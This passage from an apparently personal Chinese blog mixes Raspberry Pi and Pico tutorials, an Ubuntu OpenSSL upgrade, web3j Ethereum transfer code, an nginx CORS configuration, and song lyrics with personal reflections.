= MotionSensor(27, sample_rate=1) # I used the GPIO pin 27 while True: pir.wait_for_motion() outpin.on() time.sleep(FAN_ON_DURATION) outpin.off() 同时,作者还希望能在整个系统启动时,自动运行程序,因此还写了另一个文件,将它命名为.service,确保它在 mysqld 启动后就能运行: [Unit] Description=Motion detection service for cat litter After=mysqld.service [Service] ExecStart=/usr/bin/python3 -u motion_detection.py WorkingDirectory=/home/pi/ StandardOutput=append:/home/pi/execution.log StandardError=append:/home/pi/execution.log Restart=alwaysUser=pi [Install] WantedBy=multi-user.target 放进/etc/systemd/system文件夹,并允许跟随系统启动: sudo systemctl enable .service 完成!现在软件部分也搞定了,可以愉快地给自家猫用上了,据作者表示,打开风扇时,即使站在旁边,也基本闻不到味道。 解决更多铲屎官难题 这个智能“无臭”猫砂盆的作者,目前在硅谷工作,自我介绍是一名“攻城狮”。 事实上,作者自己家里就有猫,还是两只: 除了这个猫砂盆,作者此前还自己做过家用版大数据处理平台、以及树莓派运行的GPS跟踪器。作者表示,下一步计划研发一个新的装置,阻止猫咪到桌上和自己抢饭。 GitHub: https://github.com/xinixgit/rpi/tree/main/pi-cat-litter 参考链接: https://xinxindai.medium.com/build-a-ventilated-cat-litter-box-with-pi-zero-ce943d55b446 --- ## 虹科工业树莓派 VNC Viewer 远程桌面的配置 Date: 2021-10-25 URL: https://blog.wo.ai/archives/3431 Categories: Uncategorized 一、什么是 VNC Viewer VNC(Virtual Network Console)是虚拟网络控制台的缩写,VNC 是在基于 UNIX 和 Linux 操作系统的免费的开源软件,远程控制能力强大,高效实用,其性能可以和 Windows 和 MAC 中的任何远程控制软件媲美。 在 Linux 中,VNC 包括以下四个命令:VNCserver,VNCviewer,VNCpasswd,和 VNCconnect。大多数情况下用户只需要其中的两个命令:VNCserver 和 VNCviewer。 VNC viewer是一款远程控制的软件,一般用于远程解决电脑故障或软件调试。 二、准备工作 工业树莓派1台 VNC Viewer(根据计算机环境选择性下载,下载链接:https://www.realvnc.com/en/connect/download/viewer/) 三、配置步骤 1、SSH连接登录 2、在终端输入以下命令进入配置界面: sudo raspi-config 3、启动VNC服务(根据以下路径依次进入:Interfacing Options -> VNC -> Yes) 4、返回配置页面首页,启动Desktop Autologin服务,该服务在不同核心模块的路径不同,如果是消费级树莓派请按照根据处理器型号对应到工业树莓派核心模块的路径。 核心模块:RevPi Core3、RevPi Connect 路径:Select Boot Options->Desktop/CII->Desktop Autologin 核心模块:RevPi Core3+、RevPi Connect+ 路径:System Options->Boot/Auto Login->Desktop Autologin 5、退出配置界面,选择重启,拔掉电源。 6、给工业树莓派重新上电,重启工业树莓派,再进行SSH登录 7、VNC Viewer远程访问,输入相应的IP地址、SHH登录账号和密码。 8、完成VNC远程访问,可以根据需求进行配置更新。 关于虹科 虹科是一家在工业物联网IIoT行业经验超过3年的高科技公司,虹科与世界领域顶级公司包括EXOR、Eurotech、Unitronics、Matrikon、KUNBUS等合作,提供一系列先进的高端的工业4.0 HMI、高端边缘计算机、IoT开发方案、PLC与HMI一体机、OPC UA、工业级树莓派等解决方案。物联网事业部所有成员都受过国内外专业培训,并获得专业资格认证,平均3年+的技术经验和水平一致赢得客户极好口碑。 我们积极参与行业协会的工作,为推广先进技术的普及做出了重要贡献。至今,虹科已经为行业内诸多用户提供从硬件到软件的不同方案,并参与和协助了众多OEM的设备研发和移植项目,以及终端用户的智能工厂和工业4.0升级改造项目。我们致力于为中国乃至全球的万物互联、智能制造贡献自己的力量。 --- ## 虹科工业树莓派:根据天气控制温室窗户开合 Date: 2021-10-25 URL: https://blog.wo.ai/archives/3417 Categories: Uncategorized 1.简介 在本案例中,虹科工业树莓派RevPi Core3通过Node-RED编程获取并处理荷兰在线天气门户网站Buienradar的实时天气数据,并根据获取的天气信息对温室的窗户进行控制,从而实现温室的IoT改造。 2.所需器件 虹科RevPi Core3 虹科RevPi DIO模块 继电器 3.实现方式 在本案例中,温室的IoT改造主要集中在两个方面:温室窗户的自动开闭以及自动获取天气数据并分析。 3.1温室窗户开闭控制 温室的窗户通过行程长度为500 mm的线性驱动器执行打开和关闭动作。此线性驱动器配备有24V电机,可以通过虹科RevPi Core3和DIO扩展模块进行控制。 所使用的执行器在冲程结束时自动停止电动机,无需其他传感器或开关。由于执行器需要3A的驱动电流,而DIO模块最多只能输出500 mA的电流,因此这里需要一个额外的继电器来控制24V电机的开闭。 3.2天气数据的获取及分析 为了实现根据天气情况自动打开和关闭窗户的功能,本案例采用可从网络上免费获取的天气数据。此类数据可以采用Node-RED获取。 Node-RED具有用户友好的图形开发界面,可以通过添加HTTP请求节点以及功能节点从Buienradar的网站上获取预计降水量数据。 通过链接 https://gpsgadget.buienradar.nl/data/raintext?lat=52.08&lon=5.47 可以文本形式请求未来两个小时的预期降水量。“lat”和“lon”之后的数字对应于需要降水数据的地方的GPS坐标。这些数据由Node-RED每五分钟检索一次。如果预计在15分钟内下雨,窗户将自动关闭。但是,如果在接下来的15分钟内仍保持干燥,则系统将再次打开窗户。 4.更进一步 当前,RevPi只区分“窗口打开”以及“窗口关闭”两个状态,要获取更多设置,可以进一步开发。另外,也可以连接温度和湿度传感器,准确获取当前天气状况,以进一步提高窗户自动开闭的准确性。还可以通过仪表盘节点进一步升级,通过web浏览器显示当前降雨预报以及窗口状态等。 总而言之,虹科工业树莓派RevPi具有极大的灵活性和无限的潜力,并且软件硬件完全开源,您可以以最大的自由度在RevPi上进行开发。 5.本文使用的模块 RevPi Core 3具有定制的Raspbian系统,预先安装了RT补丁,配备Raspberry Pi计算模块3,内置Broadcom的多核处理器具有足够的能力来执行诸如图像处理之类的复杂任务,可以完成高性能要求的任务。 处理器博通BCM2837 核心数4 时钟频率1.2 GHz 内存1 GB eMMC闪存4GB RevPi Core 3使用了最先进的高效DC-DC转换器(总体效率大于80%),从而可以有效减少发热。模块不仅可以在20.4 V至28.8 V标准化的电源电压范围运行,也可以在10.2 V输入电压下运行,这意味着您甚至可以使用汽车电池或太阳能电池板作为电源。先进的保护电路可确保即使在输入电源线上受到大量电磁干扰的情况下,模块也能连续运行(前提是正确连接了功能性接地)。 像Raspberry Pi一样,RevPi Core 3也配备了通用接口: 1个RJ45以太网插座 2个USB 2.0插座 1个Micro HDMI插座 1个Micro USB 2.0插槽 2 个PiBridge(用于RevPi模块扩展) RevPi Core 3模块可以适应恶劣的工业环境: 电源:12-24 VDC -15%/ +20%,max.10W 工作温度:-40°C至55°C ESD保护:符合EN 61131-2和IEC 61000-6-2的4 kV / 8 kV 浪涌/冲击测试:根据EN 61131-2和IEC 61000-6-2进行 EMI测试:根据EN 61131-2和IEC 61000-6-2 UL认证(UL文件编号E494534) I/O模块有三种版本,均可以通过PiBridge与Core模块直接相连。它们的前端都具有相同的28针I/O连接器。除了具有14个数字输入和14个数字输出的标准版本外,还有两个特殊版本,它们仅具有16个数字输入或16个数字输出。根据EN 61131-2的要求,所有版本都有抗干扰保护,并且可以在-40°C到55°C的温度范围,相对湿度高达93%的环境内运行。此外,所有数字I/O模块都具有UL认证(UL文件号E494534)。 输入和输出的开关状态通过PiBridge与RevPi Core的中央处理映像进行周期性数据交换。除了切换状态之外,还可以周期性地传输可能的错误状态(诊断数据)和配置数据。RevPi DIO模块还配备了PWM(脉冲宽度调制)和计数器输入,可以分别为14个输出中的每个激活PWM功能,为14个输入通道中的每个通道激活计数器功能。 --- ## 透过树莓派为 Pico 添加 WiFi 功能 Date: 2021-10-25 URL: https://blog.wo.ai/archives/3413 Categories: Uncategorized 树莓派 Pico 是一款很棒的设备。它具有出彩的特性,拥有强大的 SDK 和文档,而且成本很低。美中不足的是,它没有网络功能。 几款基于 RP2040 的 MCU 目前已上市。但是与 Pico 的价格相比,这几款开发板比较贵,而且它们也不具有网络功能。 本文将向你介绍如何通过几个简单的步骤,使用树莓派为树莓派 Pico 添加网络功能。我们将使用 Telemetrix 树莓派 Pico 包和两个开源网络实用程序,无需额外的硬件。 你只需按照下面列出的步骤操作即可。另外,你也可以使用 Python 脚本来控制和监视 Pico 的 GPIO 引脚。 硬件部分 树莓派 Pico 支持 WiFi 或以太网的树莓派 USB-A 转 Micro USB 数据线 一台 Linux、macOS 或 Windows 10 PC 用到的软件和在线服务 Raspberry Pi OS Telmetrix4RpiPico(适用于 树莓派 Pico 的开源服务器固件) Telemetrix-rpi-pico(适用于 PC 的开源 Python 客户端 API) ser2net(适用于树莓派点免费开源串行端口网络代理) sosat(适用于 PC 的开源免费多功能中继工具) 原理 Telemetrix 项目允许你通过 USB/串行 将消息从 PC 中上传到 Pico 的固件中,从而监控和控制树莓派 Pico 的 GPIO。 如果我们可以将串行数据流转换为 TCP/IP 流,通过 TCP 中继串行数据会怎样? 没错,这正是我们将要做的,所以让我们现在就开始吧。 第 1 步:给 Pico 上传 Telemetrix 安装步骤很简单,只需按照 Telemetrix 用户指南上描述的步骤操作即可: 1、下载 Telemetrix4RpiPico.uf2 文件。 2、按住 Pico 开发板上的 BOOTSEL 按钮,然后将 Pico 插入树莓派或 PC 的 USB 接口,然后松开 BOOTSEL 按钮。 3、Pico 会被识别为大容量存储设备。 4、将下载的 MicroPython UF2 文件放入 RPI-RP2 卷上。你的 Pico 将自动重启,然后程序就开始运行了。 第 2 步:更新 Raspberry Pi OS 在树莓派上打开一个终端窗口,并执行以下命令: sudo apt-get update 然后运行命令(如果系统已经是最新的话,可选,运行这个命令会很耗时): sudo apt-get upgrade 完成后,可以继续下面的步骤。 第 3 步:查找树莓派的 IP 地址 打开终端窗口并输入以下命令: ifconfig eth0是为以太网分配的 IP 地址,wlan0是为 WiFi 分配的 IP 地址。由于我用网线把树莓派连接到路由器,并将树莓派连接到 WiFi,因此这两个条目都分配了 IP 地址。当然,我可以选择使用这两个地址中的任何一个,但是由于我想在本演示中使用 WiFi,所以我使用了wlan0地址192.168.2.126。 请记下树莓派列出的 IP 地址,我们在后面的步骤中会用到。 第 4 步:在树莓派上安装配置 ser2net ser2net 是一个串行转网络的代理。它将 IP 数据流转换为串行数据,并将数据重定向到特定的串行端口。它还把来自串行端口的数据转换为 TCP/IP 流。ser2net 作为守护进程运行,安装之后,它会在每次启动树莓派时自动运行。 要安装 ser2net,请在终端中输入以下命令: sudo apt-get install ser2net 接下来,我们需要通过修改配置文件来配置 ser2net。首先,在终端中输入以下命令来停止守护进程: sudo systemctl stop ser2net 然后,在终端中输入以下命令来修改 /etc/ser2net.config 文件: sudo nano /etc/ser2net.config 请将以下内容添加到文件的最后: 3333:raw:0:/dev/ttyACM0:115200,remctl 保存文件并退出编辑器。 添加的这行内容告诉 ser2net 将在 IP 端口 3333 上接收到的 IP 数据重定向到 COM 端口 /dev/ttyACM0 上的串行设备。要了解 ser2net 的更多信息,请输入以下内容来参考其手册页: man ser2net 现在,让我们重启 ser2net 守护进程。在终端窗口中,输入: sudo systemctl start ser2net 第 5 步:用 USB 数据线连接 Pico 和树莓派 连接两个设备之间的数据线后,然后输入: ls -l /dev/ttyA* 你应该会看到列出的 ttyACM0。 ls -l /dev/ttyA* crw-rw—- 1 root dialout 166, 0 Jun 12 19:17 /dev/ttyACM0 crw-rw—- 1 root dialout 204, 64 Jun 12 19:40 /dev/ttyAMA0 第 6 步:你的客户端计算机是否基于 Windows? 如果你使用 Linux 或 macOS,请跳转到第 7 步。 如果你使用 Windows,你需要在计算机上安装适用于 Linux 的 Windows 子系统 (WSL)。 WSL 可以让开发人员直接在 Windows 上运行 GNU/Linux 环境——包括大多数命令行工具、实用工具和应用程序,免去了使用传统虚拟机或配置双引导的麻烦。 要安装 WSL,请按照此教程进行操作。在选择 Linux 版本时,请选择 Ubuntu 20.04。 安装后,请转到第 7 步。使用 WSL 终端窗口执行所有后续步骤。 第 7 步:安装 Socat Socat 是基于命令行的实用程序,它建立两个双向字节流并在它们之间传输数据。Socat 是树莓派服务器计算机上使用的 ser2net 的对等点。我们将把它安装在客户端 PC 上。 在客户端计算机的终端窗口中,键入: sudo apt-get install socat 第 8 步:安装 Telemetrix 客户端 请检查你的计算机上是否安装了 Python3。 python3 -V 如果没有,请先安装。 接下来,通过输入以下命令来检查是否已安装 pip3: pip3 -V pip3 的版本会显示在终端中。如果显示空行或有关安装 pip3 的错误消息,请输入以下命令来安装 pip3: sudo apt-get install python3-pip 我们现在准备从 PyPi 安装 Telemetrix。请在终端窗口中,输入: sudo pip3 install telemetrix-rpi-pico 第 9 步:下载并修改 Telemetrix 示例脚本 访问 GitHub 项目: https://github.com/MrYsLab/telemetrix-rpi-pico 下载源码。 保存并解压缩 .zip 文件。解压后进入examples目录,编辑 blink.py。我们之所以使用这个例子,是因为它不需要任何额外的硬件。 请将文件中的以下几行 # Create a Telemetrix instance. board = telemetrix_rpi_pico.TelemetrixRpiPico() 更改为: # Create a Telemetrix instance. board = telemetrix_rpi_pico.TelemetrixRpiPico(com_port=’/home/afy/MyProxySerialPort’) 修改后的行包含在一行代码中。然后保存文件。 正如我们将在第 10 步中看到的那样,Socat 将创建一个名为 /home/afy/MyProxySerialPort 的虚拟 com 端口。 在这里,我们告诉 Python 脚本使用该 COM 端口。 第 10 步:启动 Socat 并运行 Blink 示例 在终端窗口中,复制并粘贴以下命令。在执行命令之前,请把其中的 IP 地址改为你的树莓派的 IP 地址。 socat pty,link=$HOME/MyProxySerialPort,waitslave tcp:192.168.2.126:3333,forever,reuseaddr,keepalive & 该命令包含在一行中。在该行的末尾,& 符号使命令在后台运行,以便你可以在同一终端窗口中运行 blink.py 脚本。 现在运行修改后的 blink.py,你会看到 Pico 上的 LED 开始闪烁。 python3 blink.py 总结 恭喜你,完成了!现在,你可以编写自己的程序了。如果你愿意,也可以运行一些其他的 demo。请记住一定要像第 9 步中那样指定 com_port 参数。 另外,如果你想编写自己的脚本,请参阅 Telemetrix API 和用户指南。 via --- ## 優やさしい詩 Date: 2021-07-16 URL: https://blog.wo.ai/archives/1338 Categories: Life 優やさしい詩うた – RSP * 広ひろい世界せかいでたったひとつの * 在這廣闊世界僅有的一首 * 小ちいさなあたしの願ねがい詩うた * 屬於我小小的祈願詩歌 * 笑わらって欲ほしいどこか遠とおくの * 想要微笑好像又漸行漸遠 * 名前なまえも知しらないあなたにも * 連你的名字都不曾知曉 * うまく言いえたら辛つらくならない * 能好好表達的話就不會心酸不已 * うまく泣なけたなら苦くるしくもない * 能好好哭出來的話就不會飽受痛苦 * うつむいたままそんなあなたに 安やすらぎのひとつ与あたえられたら… * 低下頭 若是能授予這樣的你一份安逸的話… * 空そらはいつでも誰だれの上うえでも * 就算天空總是一直在我們上方 * 青色あおいろしてた見上みあげてごらん * 抬頭觀賞那抹蔚藍色彩 * 優やさしい詩うたを唄うたっていたい * 想要歌唱那首温柔的歌謠 * 弱よわい人ひとにも強つよい人ひとにも * 不管是對柔弱的人 還是對堅强的人 * 嘘うそやいいわけ心こころ隠かくして * 謊言或藉口隐藏心中 * 傷付きずつくことをずっと避さけていた * 一直都避免受傷 * 隣となりに座すわるほんとの自分じぶん * 一旁坐著真正的自己 * あなたはそれに気付きづかなくて * 而你也没有發現到這一點 * 人ひとの痛いたみを感かんじた時ときも * 當感覺到為人之痛的時候 * 幸しあわせな人ひとを見みつけた時ときも * 當發現幸福的人的時候 * 同おなじ気持きもちで涙なみだしたのも * 也都帶著同樣地心情落下淚水 * あなたの心こころ忘わすれないよう * 也不能忘却你的真心 * 空そらはいつでも誰だれの上うえでも * 就算天空總是一直在我們上方 * 青色あおいろしてた見上みあげてごらん * 抬頭觀賞那抹蔚藍色彩 * 優やさしい詩うたを唄うたっていたい * 想要歌唱那首温柔的歌謠 * 弱よわい人ひとにも強つよい人ひとにも * 不管是對柔弱的人 還是對堅强的人 * 空そらはいつでも誰だれの上うえでも * 就算天空總是一直在我們上方 * 青色あおいろしてたそれが嬉うれしい * 那抹蔚藍讓人歡心喜悦 * 優やさしい詩うたを唄うたっていたい * 想要歌唱那首温柔的歌謠 * 弱よわい人ひとにも強つよい人ひとにも * 不管是對柔弱的人 還是對堅强的人 * どこで生うまれて どんな色いろ持もって * 在某處被降生下來 不管帶著什麼色彩 * たったひとりのあなたいるから * 你是只此唯一的存在 * 今日きょうも生いきてる 人ひとがいること * 今天也安然活著 生命的存在 * 忘わすれないでよ 強つよいあなたへ * 别忘記了哦 獻給堅强的你 歌词来源:http://blog.xuite.net/l42934293/blog/213750290 及 https://www.jpmarumaru.com/tw/JPSongPlay-2781.html 距离上一篇博文已经3年多了,一直没有静下心来写点东西的机会。 上一篇博文还在而立,这篇已经到了不惑了。终于还是活成了自己讨厌的人。在年轻的时候觉得以自己方式活着就好,到了临近中年才发现,终究还是要碰壁的,这确实够讽刺的。 但是生活还是要继续,面对现实,一生都要抱着学习的态度提高自己,保持自己的竞争力。 --- ## Ubuntu 16.04 升级OPENSSL Date: 2021-04-07 URL: https://blog.wo.ai/archives/1327 Categories: Technology Ubuntu 16.04 系统默认带的是1.0.2的openssl,而openssl暴露的漏洞越来越多,而ubuntu似乎也不打算在升级包中包含它,只能手动升级它了。 首先下载最新的openssl源码包 > wget https://www.openssl.org/source/openssl-1.1.1k.tar.gz > tar xvfz openssl-1.1.1k.tar.gz > cd openssl-1.1.1k/ > ./config > make > make test > make install 创建openssl软链接 > mv /usr/bin/openssl /root/ > ln -s /usr/local/ssl/bin/openssl /usr/bin/openssl 链接加密缺失的so文件 > ln -s /usr/local/lib/libssl.so.1.1 /usr/lib/ > ln -s /usr/local/lib/libcrypto.so.1.1 /usr/lib/ 来试试看效果 openssl version OpenSSL 1.1.1k 25 Mar 2021 --- ## 以太坊入门(三)用web3j进行以太转账及代币转账 Date: 2019-07-01 URL: https://blog.wo.ai/archives/1316 Categories: Technology 上章讲到账户的查询,本章讲述账户转账。 1. 以太坊转账 ` We3j web3j = Web3j.build(new HttpService(ConstantLibs.WEB3_ADDRESS)); Credentials credentials = WalletTool.loadCredentials(fromAddress); EthGetTransactionCount ethGetTransactionCount = web3j.ethGetTransactionCount( fromAddress, DefaultBlockParameterName.LATEST).sendAsync().get(); BigInteger nonce = ethGetTransactionCount.getTransactionCount(); RawTransaction rawTransaction = RawTransaction.createEtherTransaction( nonce, Convert.toWei("18", Convert.Unit.GWEI).toBigInteger(), Convert.toWei("45000", Convert.Unit.WEI).toBigInteger(), toAddress, new BigInteger(amount)); byte[] signedMessage = TransactionEncoder.signMessage(rawTransaction, credentials); String hexValue = Numeric.toHexString(signedMessage); EthSendTransaction ethSendTransaction = web3.ethSendRawTransaction(hexValue).sendAsync().get(); if (ethSendTransaction.hasError()) { log.info("transfer error:", ethSendTransaction.getError().getMessage()); } else { String transactionHash = ethSendTransaction.getTransactionHash(); log.info("Transfer transactionHash:" + transactionHash); } ` 2. 以太坊代币转账 ` Web3j web3j = Web3j.build(new HttpService(ConstantLibs.WEB3_ADDRESS)); Credentials credentials = WalletTool.loadCredentials(fromAddress); EthGetTransactionCount ethGetTransactionCount = web3j.ethGetTransactionCount( fromAddress, DefaultBlockParameterName.LATEST).sendAsync().get(); BigInteger nonce = ethGetTransactionCount.getTransactionCount(); Function function = new Function( "transfer", Arrays.asList(new Address(toAddress), new Uint256(new BigInteger(amount))), Arrays.asList(new TypeReference() { })); String encodedFunction = FunctionEncoder.encode(function); RawTransaction rawTransaction = RawTransaction.createTransaction(nonce, Convert.toWei("18", Convert.Unit.GWEI).toBigInteger(), Convert.toWei("100000", Convert.Unit.WEI).toBigInteger(), contractAddress, encodedFunction); byte[] signedMessage = TransactionEncoder.signMessage(rawTransaction, credentials); String hexValue = Numeric.toHexString(signedMessage); log.debug("transfer hexValue:" + hexValue); EthSendTransaction ethSendTransaction = web3.ethSendRawTransaction(hexValue).sendAsync().get(); if (ethSendTransaction.hasError()) { log.info("transfer error:", ethSendTransaction.getError().getMessage()); } else { String transactionHash = ethSendTransaction.getTransactionHash(); log.info("Transfer transactionHash:" + transactionHash); } ` 代币转账和以太转账的区别在于,to地址是合约地址,而input是有三部分数据构成:transfer方法的哈希+收款人的地址+转账金额。此处比较难理解的正是Function部分,设置好参数以后,调用rawTransaction就可以了。 本站始发,转载于 https://www.jianshu.com/p/8ae984e6bafc --- ## 以太坊入门(二)用web3j进行以太查询及通证查询 Date: 2019-03-01 URL: https://blog.wo.ai/archives/1314 Categories: Technology 以太坊的开发,基本都是go语言和nodejs的天下,web3j出现给java开发人员提供了很大的便利。本文会对一些以太坊的基本操作用java语言来实现。 本章会讲述通过web3j进行账户余额的查询。 1. 以太余额查询 以太的余额查询比较简单,直接调用web3j的ethGetBalance就可以。 ` Web3j web3j = Web3j.build(new HttpService(ConstantLibs.WEB3_ADDRESS)); EthGetBalance ethGetBalance = web3j.ethGetBalance( address, DefaultBlockParameterName.LATEST).sendAsync().get(); BigInteger balance = ethGetBalance.getBalance(); ` 2. 通证的余额查询 代币的查询就比较复杂一些,研究了好长时间,最后发现每个代币合约都会实现balanceOf方法,可以通过这个方法来查询通证的余额。` Web3j web3j = Web3j.build(new HttpService(ConstantLibs.WEB3_ADDRESS)); Function function = new Function( "balanceOf", Arrays.asList(new Address(address)), // Solidity Types in smart contract functions Arrays.asList(new TypeReference() { })); String encodedFunction = FunctionEncoder.encode(function); org.web3j.protocol.core.methods.response.EthCall response = web3j.ethCall( org.web3j.protocol.core.methods.request.Transaction.createEthCallTransaction(address, contract, encodedFunction), DefaultBlockParameterName.LATEST) .sendAsync().get(); String returnValue = response.getValue(); //返回16进制余额 returnValue = returnValue.substring(2); BigInteger balance = new BigInteger(returnValue, 16);` 本站始发,转载于https://www.jianshu.com/p/0f3e65622d65 --- ## 以太坊入门(一)账户和nonce的关系 Date: 2018-06-11 URL: https://blog.wo.ai/archives/1308 Categories: Technology ## **什么是nonce?** 在以太坊的交易数据中,大家都可以看到一个数字,nonce,从0开始,一直向上递增,这个代表什么意思呢? 以太坊所有的交易都是基于account的,不同于基于utxo的比特币,因此需要对每次交易都按顺序记录,nonce值就是这个顺序,主要用来防止重放攻击。 每**发起** 一笔交易,nonce就会加一。对于**发起** 的解释: 1.外部账户每发送一笔交易; 2.合约账户每创建一个合约 而转入交易、合约调用其他合约等属于内部调用,因此nonce值不变。 ## **如何使用nonce** 发起转账或者创建合约的时候,通过web3从以太坊网络查询当前的nonce(ethGetTransactionCount)值,使用此值作为当前交易的nonce值,发送到以太坊网络即可。 ## **nonce使用的几条规则** 1\. 当nonce太小(小于当前的nonce值),交易会被直接拒绝,Transactions with too low a nonce get immediately rejected; 2\. 当nonce太大,大于当前nonce,交易会一直处于队列之中,Transactions with too high a nonce get placed in the transaction pool queue; 3.当发送一个比较大的nonce值,然后补齐开始nonce到那个值之间的nonce,那么交易依旧可以被执行,If transactions with nonces that fill the gap between the last valid nonce and the too high nonce are sent and the nonce sequence is complete, all the transactions in the sequence will get processed and mined. 4\. 交易队列只保存最多64个从同一个账户发出的交易,The transaction pool queue will only hold a maximum of 64 transactions with the same From:address with nonces out of sequence. 也就是说,如果要批量转账,同一节点不要发出超过64笔交易。 5.当某节点queue中还有交易,但此时停止geth客户端,queue中的交易会被清除掉,When the geth instances are shut down and restarted, transactions in the transaction pool queue disappear. 6.当前nonce合适,但是账户余额不足时,会被以太坊拒绝; 7.如果发起一笔交易,但是因为gwei比较低或者网络比较忙的时候,该交易还没矿工挖出,可以通过使用相同的nonce和较高的gas费用,从而“覆盖”前一笔交易; --- ## 树莓派充当airplay接收器 Date: 2018-05-30 URL: https://blog.wo.ai/archives/1305 Categories: Raspberry Pi, Technology iOS升级以后,新版本经常不兼容xbian之类自带的airplay功能,目前来Shairport的支持还是不错的。我在新的树梅派3b+上编译了一下,支持ios 11.0.4版本。 首先升级树莓派 sudo apt-get update sudo apt-get upgrade 然后安装依赖包 sudo apt-get install autoconf automake avahi-daemon build-essential git libasound2-dev libavahi-client-dev libconfig-dev libdaemon-dev libpopt-dev libssl-dev libtool xmltoman 下载shairport源码 git clone https://github.com/mikebrady/shairport-sync.git 生成配置文件 cd shairport-sync autoreconf -i -f ./configure --with-alsa --with-avahi --with-ssl=openssl --with-systemd --with-metadata 编译安装 make sudo make install 设置为自动启动 sudo systemctl enable shairport-sync 启动 sudo service shairport-sync start 然后就可以在手机里面找到airplay设备,raspberrypi了。 --- ## Nginx反向代理跨域option问题解决 Date: 2018-03-26 URL: https://blog.wo.ai/archives/1299 Categories: Technology # CORS on Nginx The following Nginx configuration enables CORS, with support for preflight requests. # # Wide-open CORS config for nginx # location / { if ($request_method = 'OPTIONS') { add_header 'Access-Control-Allow-Origin' '*'; add_header 'Access-Control-Allow-Methods' 'GET, POST, OPTIONS'; # # Custom headers and headers various browsers *should* be OK with but aren't # add_header 'Access-Control-Allow-Headers' 'DNT,User-Agent,X-Requested-With,If-Modified-Since,Cache-Control,Content-Type,Range'; # # Tell client that this pre-flight info is valid for 20 days # add_header 'Access-Control-Max-Age' 1728000; add_header 'Content-Type' 'text/plain; charset=utf-8'; add_header 'Content-Length' 0; return 204; } if ($request_method = 'POST') { add_header 'Access-Control-Allow-Origin' '*'; add_header 'Access-Control-Allow-Methods' 'GET, POST, OPTIONS'; add_header 'Access-Control-Allow-Headers' 'DNT,User-Agent,X-Requested-With,If-Modified-Since,Cache-Control,Content-Type,Range'; add_header 'Access-Control-Expose-Headers' 'Content-Length,Content-Range'; } if ($request_method = 'GET') { add_header 'Access-Control-Allow-Origin' '*'; add_header 'Access-Control-Allow-Methods' 'GET, POST, OPTIONS'; add_header 'Access-Control-Allow-Headers' 'DNT,User-Agent,X-Requested-With,If-Modified-Since,Cache-Control,Content-Type,Range'; add_header 'Access-Control-Expose-Headers' 'Content-Length,Content-Range'; } } First is tricking Nginx that a 405 status is actually a 200 OK and then proxy_pass it to your HAProxy like this: error_page 405 =200 @405; location @405 { root /; proxy_pass http://yourproxy:8080; } The second solution is just to catch the OPTIONS request and build a response for those requests: location / { if ($request_method = OPTIONS ) { add_header Content-Length 0; add_header Content-Type text/plain; return 200; } } --- ## 春风十里 Date: 2018-01-03 URL: https://blog.wo.ai/archives/1287 Categories: Life > 春风十里 > 作曲作词 倍倍 > > 我在二环的里边 想着你 > 你在远方的山上 春风十里 > 今天的风吹向你 下了雨 > 我说所有的酒 都不如你 > > 我在鼓楼的夜色中 为你唱花香自来 > 在别处 沉默相遇和期待 > 飞机飞过 车水马龙的城市 > 千里之外 不离开 > > 把所有的春天 都揉进了一个清晨 > 把所有停不下来的言语变成秘密 关上了门 > 莫名的情愫啊 请问 谁来将它带走呢 > 只好把岁月化成歌 留在山河 时间过得很快,2017年就这么过去了。 这两天一直在循环播放《春风十里》这首歌。最喜欢的一句就是:我说所有的酒,都不如你,千里之外 不离开。 酒,对于每个人来说,都是不同的东西,有喜、有恶。正如小站的名字,酒趣琴音,达是酒中趣,琴上偶然音。前两天朋友圈有人晒出在米国时候的照片,一想已经毕业了七年。三五好友凑一起,小酌,谈谈古,论论今,甚是怀念。当年春田还是留下了太多的身影,十一叔,River,Candy,十三姨,老姑…回国以后,各奔东西,即使是同一城市,也难得碰一次。虽然联系很少,偶尔在异地出差,聚在一起,总还是有说不完的话题。从城市各个角落聚拢,陪吃,陪喝,陪聊,还有陪压马路,当今的快节奏,每个人都很忙,花时间陪伴,也只有真切的同学之间才可能做到了。鸿鹄也好,鹡鸰也好,缘分让大家聚在春田,也让大家留下了这份纯真。 对我来说2017,算是比较动荡的一年,在某个字母公司待了8年,终于下定决心离开了,跑到另外一座城市,迎接未知的挑战。虽然和来之前的初衷有很大的偏差,人性好的、坏的都见识和领教过,至少不算好也不算坏,这一年就这么过去了。生活不只有眼前苟且,还有诗远方。要用眼睛看到诗和远方,还要尝试把诗与远方变成生活,2018谈谈理想吧。 ![](/wp-content/uploads/2018/01/WechatIMG548-225x300.jpeg) 所有的酒,都不如你;千里之外,不曾离开。 --- ## 区块链翻译文章系列(一)初学者指南 Blockchain For Dummies: A Beginner’s Guide Date: 2017-11-20 URL: https://blog.wo.ai/archives/1278 Categories: Technology ## Blockchain For Dummies: A Beginner’s Guide Blockchain: the single most confusing term since Bitcoin. Everyone has a vague idea of what it does. It’s either the ultimate evolution of financial technologies, or a silly fad that can be summed up in the disconcerting phrase: “dogechain.” In reality, major companies around the world have already shown favor to the burgeoning money exchange system and it may become harder and harder to stay away from the financial dark art. In reality, it is all relatively easy to understand. The Blockchain is a public ledger where transactions are recorded and confirmed anonymously. It’s a record of events that is shared between many parties. More importantly, once information is entered, it cannot be altered. So, if the blockchain is the public record, what is being recorded? What are all of these “transactions”? Cryptocurrencies, like bitcoin, are currencies that exist solely in digital. There are no physical golden coins with a big “B” on them. Moreover, owning these non-real coins entails a new idea of “ownership.” You don’t literally have it in your hands, or even in your bank account, but you have the ability to transfer “ownership” to someone else simply by creating a record in the blockchain. Rather than using bills, your transfer is pure data. Where exactly is this chain located? Due to the open nature of cryptocurrencies, and the importance of the public having access to other blocks, the blockchain isn’t located on just one guy’s large computer. For example, the bitcoin blockchain is actually managed by distributed nodes. These nodes all have a copy of the entire blockchain. Nodes will forever come and go, synchronizing their own copies of the chain with those of other users. By distributing copies and access, the chain can’t simply “go down,” or disappear. It’s a decentralized system that is both sturdy and secure. All of your dogecoins are in a row, but what do you do with them? Whether you’re using them IRL or online, the blockchain makes it happen. There are many reasons people are falling in love with cryptocurrencies: it’s anonymous, decentralized, and there are no fees or third parties trying to grab a percentage. However, if there were absolutely no regulations in place, the new currency would quickly become a greedfest of users trying to screw each other over. The public nature of the blockchain means that anyone can check it. It is effectively anonymous, yet public, simultaneously, and it is in the best interest of users if it remains so. You can accept and trade coins, or you can mine for them. Miners can spend thousands of dollars on the right equipment just to mine coin. But what do they really do? What miners do is quite similar to real-world miners in that they are actively looking for something. Their computer repeatedly works through complex calculations to find a very specific answer. Miners solve problems, but how in the world is that helpful? Short story, miners are actually verifying that transactions posted by other users are legitimate, and the numbers all add 